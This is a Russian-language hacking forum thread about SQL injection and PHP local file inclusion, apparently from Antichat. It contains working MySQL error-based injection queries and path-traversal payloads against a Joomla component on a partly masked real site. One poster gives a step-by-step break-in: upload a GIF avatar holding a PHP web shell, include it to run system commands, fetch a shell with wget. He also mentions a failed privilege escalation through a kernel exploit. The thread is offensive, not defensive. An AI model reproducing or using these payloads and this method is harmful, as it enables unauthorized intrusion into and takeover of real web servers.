Старый 17.09.2010, 20:18   #321
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
похоже здесь ты [или надо на Вы ? ибо почет и все такое ] ошибся. запрос не одной записи не возвращал, поэтому и не было ошибки.

так ведь возвращает одну запись и работает:
select 1 and ((select column_name from information_schema.columns group by concat(version(),floor(rand(0)|0)) having min(0)));
А по-моему ошибка возникает на подзапросе, который возвращает больше 1 записи...
Но вобщем не суть, or 1 решает)

Код:
mysql> select table_name from information_schema.tables where table_name='test';

+------------+
| table_name |
+------------+
| test       |
+------------+
1 row in set (0.02 sec)

mysql> select table_name from information_schema.tables group by concat(version(),floor(rand(0)|0)) having min(0);
ERROR 1062 (23000): Duplicate entry '5.1.40-community1' for key 'group_key'

mysql> select table_name from information_schema.tables where table_name='test' group by concat(version(),floor(rand(0)|0)) having min(0);
Empty set (0.00 sec)

mysql> select table_name from information_schema.tables where table_name='test' or 1 group by concat(version(),floor(rand(0)|0)) having min(0);
ERROR 1062 (23000): Duplicate entry '5.1.40-community1' for key 'group_key'

Последний раз редактировалось BlackFan; 17.09.2010 в 20:32..
BlackFan вне форума   Ответить с цитированием
Старый 17.09.2010, 20:44   #322
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

да, or 1 решает, но, получается, по разному:
* до подзапроса для того, чтобы он был вычислен вообще, а не пропущен, как в моих примерах в пред мессаге.
* внутри подзапроса для того, чтобы избежать варианта при котором в выборке подзапроса будет только одна или ноль записей.

кста, еще: если таблица из которой происходит выборка в подзапросе пустая - то ошибки тоже не будет.
DrakonHaSh вне форума   Ответить с цитированием
Старый 20.09.2010, 14:25   #323
Cross
 
Регистрация: 27.08.2010
Сообщений: 114
Репутация: 2
По умолчанию

Добрый день.

Вопрос по php-include:
Запрос вида:
PHP код:
index.php?option=com_wmi&controller=../../../../../../../../../tmp/sess_499bed2954bca5afb51e868b64d75898%00 
выводит:
Цитата:
Warning: require_once(/home/malavkin/public_html/components/com_wmi/controllers/../../../../../../../../../tmp/sess_499bed2954bca5afb51e868b64d75898) [function.require-once]: failed to open stream: No such file or directory in /home/malavkin/public_html/components/com_wmi/wmi.php on line 19

Fatal error: require_once() [function.require]: Failed opening required '/home/malavkin/public_html/components/com_wmi/controllers/../../../../../../../../../tmp/sess_499bed2954bca5afb51e868b64d75898' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/malavkin/public_html/components/com_wmi/wmi.php on line 19
Как видно, я хотел посмотреть, что пишется в мою сессию, но насколько понял, моя сессия с данным сайтом находится не по этому адресу/запросу(там не *nix сервер)?
Есть возможности поиска/нахождения моей сессии не на nix-серверах?
(null-byte в конце запроса отрезает .php)
Cross вне форума   Ответить с цитированием
Старый 20.09.2010, 14:42   #324
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от Cross Посмотреть сообщение
Есть возможности поиска/нахождения моей сессии?
Поискать php.ini, стандартные пути до него приводились, например
index.php?option=com_wmi&controller=../../../../../../../../../etc/php.ini%00

session.save_path указывает, где хранится сессия.
nikp вне форума   Ответить с цитированием
Старый 20.09.2010, 15:15   #325
mailbrush
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 4
По умолчанию

nikp, насколько я знаю, php.ini некорректно интерпретируется через инклюд, соответственно прочитать таким способом его невозможно.

Cross, эта ошибка свидетельствует о том, что путь сохранения сессий не находится в папке /tmp. Надо искать другие пути.

upd: Заполучил шелл через этот инклюуд. Возможно, порутаю.
upd2: Хотя нет, сессии хранятся в /tmp, но с таким идентификатором её нет. Видимо, истекло её время, и файл удалился...
mailbrush вне форума   Ответить с цитированием
Старый 20.09.2010, 15:39   #326
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от mailbrush Посмотреть сообщение
nikp, насколько я знаю, php.ini некорректно интерпретируется через инклюд, соответственно прочитать таким способом его невозможно.
Никак не интерпретируется, выводится, как обыкновенный текстовый файл.
nikp вне форума   Ответить с цитированием
Старый 20.09.2010, 15:46   #327
mailbrush
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 4
По умолчанию

Оффтоп, но все же...

А вы сами то пробовали, что так настойчиво утверждаете?
Зависимо от версий PHP, выдает ошибку на разных строках.
Функция include, а так же ей подобные воспринимают все, что после знака "<?" и до "?>" как PHP-код.
Лично у меня при инклуде php.ini ошибка возникает на 217 строке:
Код:
Parse error: parse error in C:\wamp\bin\php\php5.3.0\php.ini on line 217
217 строка:
Цитата:
; instead to use the full <?php and ?> tag combination. With the wide spread use

На вышеуказанном сайте:
Код:
Parse error: syntax error, unexpected ',' in //usr/lib/php.ini on line 70
70 строка:
Цитата:
; Allow the <? tag. Otherwise, only <?php and <script> tags are recognized.
Это все комментарии, которые синтаксис INI-файлов отбрасывает, но PHP нет, соответственно, он пытается интерпретировать содержимое между открытием и закрытием тега как PHP-код, что, естественно, безуспешно.
mailbrush вне форума   Ответить с цитированием
Старый 20.09.2010, 15:57   #328
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от mailbrush Посмотреть сообщение
А вы сами то пробовали, что так настойчиво утверждаете?
Получал скриптом, сейчас проверю, в чем разница.
Конец рабочего дня, проверю дома. Но похоже mailbrush прав, чтение есть только при RFI,
хотя в памяти отложилось, что читалось свободно при LFI, надо восстановить технологию.

=================================
Подтверждение чтения через LFI не нашел.
=================================

Сомнения остались, месяцев 6-8 назад был период, когда отлаживал заливку через инклуд.
Записи ссылаются на уже пропатченное или исчезнувшее. Остался скрипт, настроенный на
брут конкретно php.ini через инклуд или читалку, запускал, когда сессия не находилась в /tmp.
Выручал ну десятки раз, проверил выборочно опубликованное на форумах - ноль.

Последний раз редактировалось nikp; 20.09.2010 в 21:35..
nikp вне форума   Ответить с цитированием
Старый 20.09.2010, 16:00   #329
Cross
 
Регистрация: 27.08.2010
Сообщений: 114
Репутация: 2
По умолчанию

Цитата:
upd: Заполучил шелл через этот инклюуд. Возможно, порутаю.
upd2: Хотя нет, сессии хранятся в /tmp, но с таким идентификатором её нет. Видимо, истекло её время, и файл удалился...
Было бы не плохо рассекретить метод?!
Cross вне форума   Ответить с цитированием
Старый 20.09.2010, 16:11   #330
mailbrush
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 4
По умолчанию

Не секрет это
Для начала надо узнать адрес сайта.
Вбиваем в гугл дорк "index.php?option=com_wmi&controller=", видим тему на античате - "PHP-инъекции", в которой ссылка на инклуд:
Цитата:
http://www.***.ua/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00
Далее подставляем неправильный путь, видим раскрытие путей:
Цитата:
Warning: require_once(/home/malavkin/public_html/components/com_wmi/controllers/1.php) [function.require-once]: failed to open stream: No such file or directory in /home/malavkin/public_html/components/com_wmi/wmi.php on line 19
Путь точно такой же, как и у вашем посте, что означает, что сайт именно этот.
Далее лазим по сайту, видим, что есть такой модуль, как "Форум". Регистрируемся, подтверждаем по линку на почте. Входим в аккаунт. Одной из функцией профиля есть загрузка собственной аватары. Можно считать, шелл в руках. Льем .gif файл любым PHP-кодом. Лично я почти всегда использую:
PHP код:
<?php system($_GET[cmd]);?>
Потом инклудим его:
Код:
http://www.***.ua/index.php?option=com_wmi&controller=../../com_ccboard/assets/avatar/2.gif%00&cmd=ls
Получаем управление системными командами. Ну а залить шелл с помощью wget - дело одной минуты.

Обычная логика + "хакерская догадка"

upd: Повышение привилегий через уязвимость в sock_sendpage() используя эксплоит linux-sendpage завершилось неудачно.


Последний раз редактировалось Twost; 14.05.2013 в 14:19..
mailbrush вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot